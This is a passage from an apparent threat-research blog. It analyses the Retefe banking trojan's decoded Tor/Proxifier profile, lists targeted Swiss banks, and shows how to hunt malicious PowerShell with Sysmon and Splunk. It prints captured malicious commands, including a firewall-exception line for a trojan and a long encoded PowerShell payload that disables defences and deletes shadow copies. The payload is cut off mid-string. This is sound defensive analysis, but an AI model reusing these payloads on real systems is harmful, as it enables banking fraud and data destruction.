Then, the function 'Base64ToFile' does a base64 decode of a string and stores the output in a file

But the key function, is the last one, InstallTP, which does several things:


  1. Pulls a file from http://download-codeplex.sec.s-msft.com/Download/Release?ProjectName=taskscheduler&DownloadId=1505290&FileTime=131142250937900000&Build=21031Which permits to run the malicious process automatically as a task
  2. Pulls the Tor client from https://dist.torproject.org/torbrowser/6.0.4/tor-win32-0.2.8.6.zip to forward the traffic through Tor
  3.  Pulls the Proxifier application from http://proxifier.com/distr/ProxifierPE.zip
  4. Configures the Settings.ini for the Proxyfier
  5. And finally, it is the interesting stuff, the Proxifier profile, where I can see all the banks for which the traffic is sent through Tor

echo"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPFByb3hpZmllclByb2ZpbGUgdmVyc2lvbj0iMTAxIiBwbGF0Zm9ybT0iV2luZG93cyIgcHJvZHVjdF9pZD0iMSIgcHJvZHVjdF9taW52ZXI9IjMxMCI+DQogIDxPcHRpb25zPg0KICAgIDxSZXNvbHZlPg0KICAgICAgPEF1dG9Nb2RlRGV0ZWN0aW9uIGVuYWJsZWQ9ImZhbHNlIiAvPg0KICAgICAgPFZpYVByb3h5IGVuYWJsZWQ9InRydWUiPg0KICAgICAgICA8VHJ5TG9jYWxEbnNGaXJzdCBlbmFibGVkPSJmYWxzZSIgLz4NCiAgICAgIDwvVmlhUHJveHk+DQogICAgICA8RXhjbHVzaW9uTGlzdD4lQ29tcHV0ZXJOYW1lJTsgbG9jYWxob3N0OyAqLmxvY2FsPC9FeGNsdXNpb25MaXN0Pg0KICAgIDwvUmVzb2x2ZT4NCiAgICA8UHJveGlmaWNhdGlvblBvcnRhYmxlRW5naW5lIHN1YnN5c3RlbT0iMzIiPg0KICAgICAgPExvY2F0aW9uPkJhc2VQcm92aWRlcjwvTG9jYXRpb24+DQogICAgICA8VHlwZSBob3RwYXRjaD0idHJ1ZSI+UHJvbG9ndWU8L1R5cGU+DQogICAgPC9Qcm94aWZpY2F0aW9uUG9ydGFibGVFbmdpbmU+DQogICAgPFByb3hpZmljYXRpb25Qb3J0YWJsZUVuZ2luZSBzdWJzeXN0ZW09IjY0Ij4NCiAgICAgIDxMb2NhdGlvbj5CYXNlUHJvdmlkZXI8L0xvY2F0aW9uPg0KICAgICAgPFR5cGUgaG90cGF0Y2g9ImZhbHNlIj5Qcm9sb2d1ZTwvVHlwZT4NCiAgICA8L1Byb3hpZmljYXRpb25Qb3J0YWJsZUVuZ2luZT4NCiAgICA8RW5jcnlwdGlvbiBtb2RlPSJiYXNpYyIgLz4NCiAgICA8SHR0cFByb3hpZXNTdXBwb3J0IGVuYWJsZWQ9ImZhbHNlIiAvPg0KICAgIDxIYW5kbGVEaXJlY3RDb25uZWN0aW9ucyBlbmFibGVkPSJmYWxzZSIgLz4NCiAgICA8Q29ubmVjdGlvbkxvb3BEZXRlY3Rpb24gZW5hYmxlZD0idHJ1ZSIgLz4NCiAgICA8UHJvY2Vzc1NlcnZpY2VzIGVuYWJsZWQ9ImZhbHNlIiAvPg0KICAgIDxQcm9jZXNzT3RoZXJVc2VycyBlbmFibGVkPSJmYWxzZSIgLz4NCiAgPC9PcHRpb25zPg0KICA8UHJveHlMaXN0Pg0KICAgIDxQcm94eSBpZD0iMTAwIiB0eXBlPSJTT0NLUzUiPg0KICAgICAgPEFkZHJlc3M+MTI3LjAuMC4xPC9BZGRyZXNzPg0KICAgICAgPFBvcnQ+OTA1MDwvUG9ydD4NCiAgICAgIDxPcHRpb25zPjQ4PC9PcHRpb25zPg0KICAgIDwvUHJveHk+DQogIDwvUHJveHlMaXN0Pg0KICA8Q2hhaW5MaXN0IC8+DQogIDxSdWxlTGlzdD4NCiAgICA8UnVsZSBlbmFibGVkPSJ0cnVlIj4NCiAgICAgIDxOYW1lPkxvY2FsaG9zdDwvTmFtZT4NCiAgICAgIDxUYXJnZXRzPmxvY2FsaG9zdDsgMTI3LjAuMC4xOyAlQ29tcHV0ZXJOYW1lJTsgYXBpLmlwaWZ5Lm9yZzwvVGFyZ2V0cz4NCiAgICAgIDxBY3Rpb24gdHlwZT0iRGlyZWN0IiAvPg0KICAgIDwvUnVsZT4NCiAgICA8UnVsZSBlbmFibGVkPSJ0cnVlIj4NCiAgICAgIDxOYW1lPnNvZnQ8L05hbWU+DQogICAgICA8QXBwbGljYXRpb25zPmZpcmVmb3guZXhlO2lleHBsb3JlLmV4ZTtjaHJvbWUuZXhlPC9BcHBsaWNhdGlvbnM+DQogICAgICA8VGFyZ2V0cz4qcG9zdGZpbmFuY2UuY2g7Y3MuZGlyZWN0bmV0LmNvbTtlYi5ha2IuY2g7Ki51YnMuY29tO3RiLnJhaWZmZWlzZW5kaXJlY3QuY2g7Ki5ia2IuY2g7Ki5sdWtiLmNoOyouemtiLmNoOyoub25iYS5jaDtlLWJhbmtpbmcuZ2tiLmNoOyouYmVrYi5jaDt3d3dzZWMuZWJhbmtpbmcuenVnZXJrYi5jaDtuZXRiYW5raW5nLmJjZ2UuY2g7Ki5yYWlmZmVpc2VuLmNoOyouY3JlZGl0LXN1aXNzZS5jb207Ki5iYW5rYXVzdHJpYS5hdDsqLmJhd2FncHNrLmNvbTsqLnJhaWZmZWlzZW4uYXQ7Ki5zdGF0aWMtdWJzLmNvbTsqLmJhd2FnLmNvbTsqLmNsaWVudGlzLmNoO2NsaWVudGlzLmNoOypiY3ZzLmNoOypjaWMuY2g7d3d3LmJhbmtpbmcuY28uYXQ7Km9iZXJiYW5rLmF0O3d3dy5vYmVyYmFuay1iYW5raW5nLmF0OypiYWxvaXNlLmNoOyoudWtiLmNoO3Vya2IuY2g7Ki51cmtiLmNoOyouZWVrLmNoOypzemtiLmNoOypzaGtiLmNoOypnbGtiLmNoOypua2IuY2g7Km93a2IuY2g7KmNhc2guY2g7KmJjZi5jaDsqLmVhc3liYW5rLmF0O2ViYW5raW5nLnJhaWZmZWlzZW4uY2g7Ki5vbmlvbjsqYmN2LmNoOypqdWxpdXNiYWVyLmNvbTsqYWJzLmNoOypiY24uY2g7KmJsa2IuY2g7KmJjai5jaDsqenVlcmNoZXJsYW5kYmFuay5jaDsqdmFsaWFudC5jaDsqd2lyLmNoPC9UYXJnZXRzPg0KICAgICAgPEFjdGlvbiB0eXBlPSJQcm94eSI+MTAwPC9BY3Rpb24+DQogICAgPC9SdWxlPg0KICAgIDxSdWxlIGVuYWJsZWQ9InRydWUiPg0KICAgICAgPE5hbWU+RGVmYXVsdDwvTmFtZT4NCiAgICAgIDxBY3Rpb24gdHlwZT0iRGlyZWN0IiAvPg0KICAgIDwvUnVsZT4NCiAgPC9SdWxlTGlzdD4NCjwvUHJveGlmaWVyUHJvZmlsZT4="  | base64 --decode
<?xml version="1.0"encoding="UTF-8"standalone="yes"?>
<ProxifierProfile version="101"platform="Windows"product_id="1"product_minver="310">
<Options>
<Resolve>
<AutoModeDetection enabled="false" />
<ViaProxy enabled="true">
<TryLocalDnsFirst enabled="false" />
</ViaProxy>
<ExclusionList>%ComputerName%; localhost; *.local</ExclusionList>
</Resolve>
<ProxificationPortableEngine subsystem="32">
<Location>BaseProvider</Location>
<Type hotpatch="true">Prologue</Type>
</ProxificationPortableEngine>
<ProxificationPortableEngine subsystem="64">
<Location>BaseProvider</Location>
<Type hotpatch="false">Prologue</Type>
</ProxificationPortableEngine>
<Encryption mode="basic" />
<HttpProxiesSupport enabled="false" />
<HandleDirectConnections enabled="false" />
<ConnectionLoopDetection enabled="true" />
<ProcessServices enabled="false" />
<ProcessOtherUsers enabled="false" />
</Options>
<ProxyList>
<Proxy id="100"type="SOCKS5">
<Address>127.0.0.1</Address>
<Port>9050</Port>
<Options>48</Options>
</Proxy>
</ProxyList>
<ChainList />
<RuleList>
<Rule enabled="true">
<Name>Localhost</Name>
<Targets>localhost; 127.0.0.1; %ComputerName%; api.ipify.org</Targets>
<Action type="Direct" />
</Rule>
<Rule enabled="true">
<Name>soft</Name>
<Applications>firefox.exe;iexplore.exe;chrome.exe</Applications>
<Targets>*postfinance.ch;cs.directnet.com;eb.akb.ch;*.ubs.com;tb.raiffeisendirect.ch;*.bkb.ch;*.lukb.ch;*.zkb.ch;*.onba.ch;e-banking.gkb.ch;*.bekb.ch;wwwsec.ebanking.zugerkb.ch;netbanking.bcge.ch;*.raiffeisen.ch;*.credit-suisse.com;*.bankaustria.at;*.bawagpsk.com;*.raiffeisen.at;*.static-ubs.com;*.bawag.com;*.clientis.ch;clientis.ch;*bcvs.ch;*cic.ch;www.banking.co.at;*oberbank.at;www.oberbank-banking.at;*baloise.ch;*.ukb.ch;urkb.ch;*.urkb.ch;*.eek.ch;*szkb.ch;*shkb.ch;*glkb.ch;*nkb.ch;*owkb.ch;*cash.ch;*bcf.ch;*.easybank.at;ebanking.raiffeisen.ch;*.onion;*bcv.ch;*juliusbaer.com;*abs.ch;*bcn.ch;*blkb.ch;*bcj.ch;*zuercherlandbank.ch;*valiant.ch;*wir.ch</Targets>
<Action type="Proxy">100</Action>
</Rule>
<Rule enabled="true">
<Name>Default</Name>
<Action type="Direct" />
</Rule>
</RuleList>
</ProxifierProfile>

So in essence, and answering my own question, the configuration of the proxy is not downloaded anywhere, but just hardcoded 

and obfuscated in the code.
↧
↧

Malicious email campaign mimicking Swiss Financial Institutions: Retefe again (III)

November 16, 2016, 8:44 am
$
0
0
Following last two posts, this is a quick update as I have detected that some new Swiss banks have been added to the list of victims of Retefe (since last time I checked some weeks ago)

These are:

 *valiant.ch;*
 *wir.ch;
 *bankthalwil.ch;
 *piguetgalland.ch;
 *triba.ch;
 *inlinea.ch;
 *bernerlandbank.ch;
 *bancasempione.ch;
 *bsibank.com;
 *corneronline.ch;
 *vermoegenszentrum.ch;
 *gobanking.ch;
 *slbucheggberg.ch;
 *slfrutigen.ch;
 *hypobank.ch;
 *regiobank.ch;
 *rbm.ch;
 *hbl.ch;
 *ersparniskasse.ch;
 *ekr.ch;*
 sparkasse-dielsdorf.ch;
 *eki.ch;
 *bankgantrisch.ch;
 *bbobank.ch;
 *alpharheintalbank.ch;
 *aekbank.ch;*
 *acrevis.ch




Also, the Cyber Criminals have changed the way the malicious payload is weaponized through a malicious 'docx'.. Instead os using a JS script, now they are using an executable EXE:
↧

Hunting malicious behaviour abusing PowerShell with Sysmon and Splunk

February 10, 2017, 9:40 am
$
0
0
Sysmon is a monitoring tool which combined with Splunk makes an excellent tandem for threat hunting. A good example was presented by Tom Ueltschi at Botconf 2016.

Windows PowerShell is a command shell very useful for administrative purpose, but at the same time can be abused across different phases of an intrusion and it is being actively used by malware developers. For these reasons, I'm interesting in hunting, using Sysmon and Splunk, when PowerShell is used for bad purposes.  The setup is very simple: Windows Machine(s) with Splunk Forwader and Sysmon. The two necessary files to configured are inputs.conf and config.xml. 
A simple inputs.conf file in the forwarder is the following:

C:\Program Files\SplunkUniversalForwarder\etc\apps\SplunkUniversalForwarder\default\inputs.conf

#   Version 6.4.5
# these here just override and disable stuff that in system/default.

################################
# Data thru parsingQueue always
################################

[splunktcp]
route=has_key:tautology:parsingQueue;absent_key:tautology:parsingQueue

################################
# Make sure these get forwarded
################################

[monitor://$SPLUNK_HOME\var\log\splunk\splunkd.log]
_TCP_ROUTING= *
index= _internal

[monitor://$SPLUNK_HOME\var\log\splunk\metrics.log]
_TCP_ROUTING= *
index= _internal

[WinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled=false
renderXml=true

Regarding the config.xml file for sysmon, it is key to customise the file for each specific environment in order to reduce the noise and catch all the interesting events. In my case,  I have used a very simple one which works for my test environment and doesn't create much noise. A more advance template to use is the one created by @SwiftOnSecurity.

<Sysmonschemaversion="3.2">
<HashAlgorithms>MD5</HashAlgorithms>

<EventFiltering>
<!-- Log all drivers except if the signature -->
<!-- contains Microsoft or Windows -->
<DriverLoadonmatch="exclude">
<Signaturecondition="contains">microsoft</Signature>
<Signaturecondition="contains">windows</Signature>
</DriverLoad>
<NetworkConnectonmatch="include">
<DestinationPort>443</DestinationPort>
<DestinationPort>80</DestinationPort>
</NetworkConnect>

<!-- Exclude certain processes that cause high event volumes -->
<ProcessCreateonmatch="exclude">
<Imagecondition="contains">splunk</Image>
<Imagecondition="contains">streamfwd</Image>
<Imagecondition="contains">splunkd</Image>
<Imagecondition="contains">splunkD</Image>
<Imagecondition="contains">splunk</Image>
<Imagecondition="contains">splunk-optimize</Image>
<Imagecondition="contains">splunk-MonitorNoHandle</Image>
<Imagecondition="contains">splunk-admon</Image>
<Imagecondition="contains">splunk-netmon</Image>
<Imagecondition="contains">splunk-regmon</Image>
<Imagecondition="contains">splunk-winprintmon</Image>
<Imagecondition="contains">btool</Image>
<Imagecondition="contains">PYTHON</Image>
</ProcessCreate>
<ProcessTerminateonmatch="exclude">
<Imagecondition="contains">splunk</Image>
<Imagecondition="contains">streamfwd</Image>
<Imagecondition="contains">splunkd</Image>
<Imagecondition="contains">splunkD</Image>
<Imagecondition="contains">splunk</Image>
<Imagecondition="contains">splunk-optimize</Image>
<Imagecondition="contains">splunk-MonitorNoHandle</Image>
<Imagecondition="contains">splunk-admon</Image>
<Imagecondition="contains">splunk-netmon</Image>
<Imagecondition="contains">splunk-regmon</Image>
<Imagecondition="contains">splunk-winprintmon</Image>
<Imagecondition="contains">btool</Image>
<Imagecondition="contains">PYTHON</Image>
</ProcessTerminate>
<FileCreateTimeonmatch="exclude">
<Imagecondition="contains">splunk</Image>
<Imagecondition="contains">streamfwd</Image>
<Imagecondition="contains">splunkd</Image>
<Imagecondition="contains">splunkD</Image>
<Imagecondition="contains">splunk</Image>
<Imagecondition="contains">splunk-optimize</Image>
<Imagecondition="contains">splunk-MonitorNoHandle</Image>
<Imagecondition="contains">splunk-admon</Image>
<Imagecondition="contains">splunk-netmon</Image>
<Imagecondition="contains">splunk-regmon</Image>
<Imagecondition="contains">splunk-winprintmon</Image>
<Imagecondition="contains">btool</Image>
<Imagecondition="contains">PYTHON</Image>
</FileCreateTime>
</EventFiltering>
</Sysmon>


As I said, I'm interested in any PowerShell command spawned and the parent process associated. With a simple SPL query I get straight forward all the PowerShell commands executed, as showed below





 Let's analyse each of the executed PowerShell commands from the screenshot above

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden cmd /c SafetyTest.rar
This command is using the 'ExecutionPolicy bypass' option. According to some documentation the PowerShell Execution Policy was not designed as security control, but as a control to limit mistakes done by sysadmins. https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
In any case, any PowerShell command using that option should be consider suspicious.

It also runs with the option "windowstyle hidden" to hide the prompt. Although this is a not bad indicator 'per se' and some valid scripts can run in the background with this option, this indicator together with any additional other indicator should raise an alert.

In the command above there is another suspicious thing: the 'rar' extension of the file executed by the PowerShell. Looking to any process launched by that Command, as ParentComandLine, I get the following:



So basically, I see that the PowerShell command invokes a cmd.exe to execute the 'rar' file, which means it is not a compress 'rar' file. Following the flow I see that SafetyTest.rar invokes another command: "C:\Users\angel\AppData\Local\Temp\Trojan.exe"


netsh firewall add allowedprogram "C:\Users\angel\AppData\Local\Temp\Trojan.exe""Trojan.exe" ENABLE

Trojan.exe creates a rule in the firewall to allow itself in the firewall, very very suspicious activity and further investigation should be done in that system.

Continuing with the other PowerShell commands, I see there are several base64 encoded PowerShell commands. I consider any encoded command suspicious and needs to be investigated on account that the embebed encoded command can be anything


powershell -win hidden -enc

dwBoAGkAbABlACgAJAB0AHIAdQBlACkAewANAAoAdwBlAHYAdAB1AHQAaQBsACAAZQBsACAAfAAgAEYAbwByAGUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAdwBlAHYAdAB1AHQAaQBsACAAYwBsACAAIgAkAF8AIgB9AA0ACgBSAEUARwAgAGEAZABkACAAIgBIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAiACAALwB2ACAARABpAHMAYQBiAGwAZQBDAE0ARAAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMgAgAC8AZgANAAoAUgBFAEcAIABBAEQARAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACIAIAAvAHYAIABFAG4AYQBiAGwAZQBMAFUAQQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgANAAoAbgBlAHQAIABzAHQAbwBwACAAVgBTAFMAOwAgAFIARQBHACAAYQBkAGQAIAAiAEgASwBMAE0AXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAHMAZQByAHYAaQBjAGUAcwBcAFYAUwBTACIAIAAvAHYAIABTAHQAYQByAHQAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADQAIAAvAGYAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQBjADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQBkADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQBlADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQBmADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQBnADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQB4ADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQB5ADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQAOwAgAHYAcwBzAGEAZABtAGkAbgAgAGQAZQBsAGUAdABlACAAcwBoAGEAZABvAHcAcwAgAC8AZgBvAHIAPQB6ADoAIAAvAGEAbABsACAALwBxAHUAaQBlAHQADQAKAG4AZQB0AHMAaAAgAGEAZAB2AGYAaQByAGUAdwBhAGwAbAAgAHMAZQB0ACAAYQBsAGwAcAByAG8AZgBpAGwAZQBzACAAcwB0AGEAdABlACAAbwBmAGYADQAKAHMAYwAgAGMAbwBuAGYAaQBnACAAdwBzAGMAcwB2AGMAIABzAHQAYQByAHQAPQAgAGQAaQBzAGEAYgBsAGUAZAANAAoAUgBFAEcAIABhAGQAZAAgACIASABLAEMAVQBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACIAIAAvAHYAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADEAIAAvAGYADQAKAG4AZQB0ACAAcwB0AG8AcAAgAFcAaQBuAEQAZQBmAGUAbgBkADsAIABzAGMAIABjAG8AbgBmAGkAZwAgAFcAaQBuAEQAZQBmAGUAbgBkAD0AIABkAGkAcwBhAGIAbABlAGQAOwAgAFIARQBHACAAYQBkAGQAIAAiAEgASwBMAE0AXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAHMAZQByAHYAaQBjAGUAcwBcAFcAaQBuAEQAZQBmAGUAbgBkACIAIAAvAHYAIABTAHQAYQByAHQAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADQAIAAvAGYAOwAgAFIARQBHACAAYQBkAGQAIAAiAEgASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIgAgAC8AdgAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAALwB0ACAAUgBFAEcAXwBEAFcATwBSAEQAIAAvAGQAIAAxACAALwBmADsAIABzAGMAIABkAGUAbABlAHQAZQAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBSAEUARwAgAGEAZABkACAAIgBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AIgAgAC8AdgAgAEUAbgBhAGIAbABlAFMAbQBhAHIAdABTAGMAcgBlAGUAbgAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgA7ACAAUgBFAEcAIABhAGQAZAAgACIASABLAEMAVQBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAcABwAEgAbwBzAHQAIgAgAC8AdgAgAEUAbgBhAGIAbABlAFMAbQBhAHIAdABTAGMAcgBlAGUAbgAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgANAAoAbgBlAHQAIABzAHQAbwBwACAAdwB1AGEAdQBzAGUAcgB2AA0ACgBOAGUAdAAgAHUAcwBlAHIAIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFACAALwBhAGMAdABpAHYAZQA6AG4AbwANAAoAIwBZAEMAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAbABzAGEAcwBzACAALQBGAG8AcgBjAGUAOwAgAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAHMAbQBzAHMAIAAtAEYAbwByAGMAZQA7ACAAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAYwBvAG4AaABvAHMAdAAgAC0ARgBvAHIAYwBlADsAIABrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABkAHcAbQAgAC0ARgBvAHIAYwBlADsAIABrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABzAHYAYwBoAG8AcwB0ACAALQBGAG8AcgBjAGUAOwAgAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAGUAeABwAGwAbwByAGUAcgAgAC0ARgBvAHIAYwBlAA0ACgBrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABzAHQAZQBhAG0AIAAtAEYAbwByAGMAZQA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAKAAkAHsAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAoAHgAOAA2ACkAfQAgACsAIAAiAFwAUwB0AGUAYQBtACIAKQAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlAA0ACgBrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABzAGsAeQBwAGUAIAAtAEYAbwByAGMAZQA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAKAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACsAIAAiAFwAUwBrAHkAcABlACIAKQAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlAA0ACgBrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIAB0AHMAMwBjAGwAaQBlAG4AdABfAHcAaQBuADYANAAgAC0ARgBvAHIAYwBlADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAoACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACIAXABUAFMAMwBDAGwAaQBlAG4AdAAiACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQANAAoAUgBFAEcAIABhAGQAZAAgACIASABLAEMAVQBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAEUAeABwAGwAbwByAGUAcgAiACAALwB2ACAATgBvAEMAbwBuAHQAcgBvAGwAUABhAG4AZQBsACAALwB0ACAAUgBFAEcAXwBEAFcATwBSAEQAIAAvAGQAIAAxACAALwBmAA0ACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAoAFsAZQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AGcAZQB0AGYAbwBsAGQAZQByAHAAYQB0AGgAKAAiAEQAZQBzAGsAdABvAHAAIgApACAAKwAgACIAXAAqAC4AKgAiACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAIgBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEQAZQBzAGsAdABvAHAAXAAqAC4AKgAiACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUADQAKAFIARQBHACAAYQBkAGQAIAAiAEgASwBDAFUAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABFAHgAcABsAG8AcgBlAHIAIgAgAC8AdgAgAE4AbwBSAHUAbgAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMQAgAC8AZgANAAoAIwBaAEEAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAASQBFAHgAcABsAG8AcgBlACAALQBGAG8AcgBjAGUAOwAgAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIAAtAEYAbwByAGMAZQANAAoAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAUwB0AGUAYQBtACAALQBGAG8AcgBjAGUADQAKAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAFMAawB5AHAAZQAgAC0ARgBvAHIAYwBlAA0ACgAjAFoARABrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABDAGgAcgBvAG0AZQAgAC0ARgBvAHIAYwBlAA0ACgBrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABGAGkAcgBlAGYAbwB4ACAALQBGAG8AcgBjAGUADQAKAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAHQAcwAzAGMAbABpAGUAbgB0AF8AdwBpAG4ANgA0ACAALQBGAG8AcgBjAGUADQAKAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAE8AcgBpAGcAaQBuACAALQBGAG8AcgBjAGUADQAKAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAFcAbwByAGQAIAAtAEYAbwByAGMAZQANAAoAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAARQB4AGMAZQBsACAALQBGAG8AcgBjAGUADQAKAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAFAAbwB3AGUAcgBwAG8AaQBuAHQAIAAtAEYAbwByAGMAZQANAAoAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAUABpAGQAZwBpAG4AIAAtAEYAbwByAGMAZQANAAoAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAATwBwAGUAcgBhACAALQBGAG8AcgBjAGUADQAKAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAEMAeQBiAGUAcgBHAGgAbwBzAHQAIAAtAEYAbwByAGMAZQANAAoAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAaQBUAHUAbgBlAHMAIAAtAEYAbwByAGMAZQA7ACAAawBpAGwAbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAaQBUAHUAbgBlAHMASABlAGwAcABlAHIAIAAtAEYAbwByAGMAZQA7ACAAawBpAGw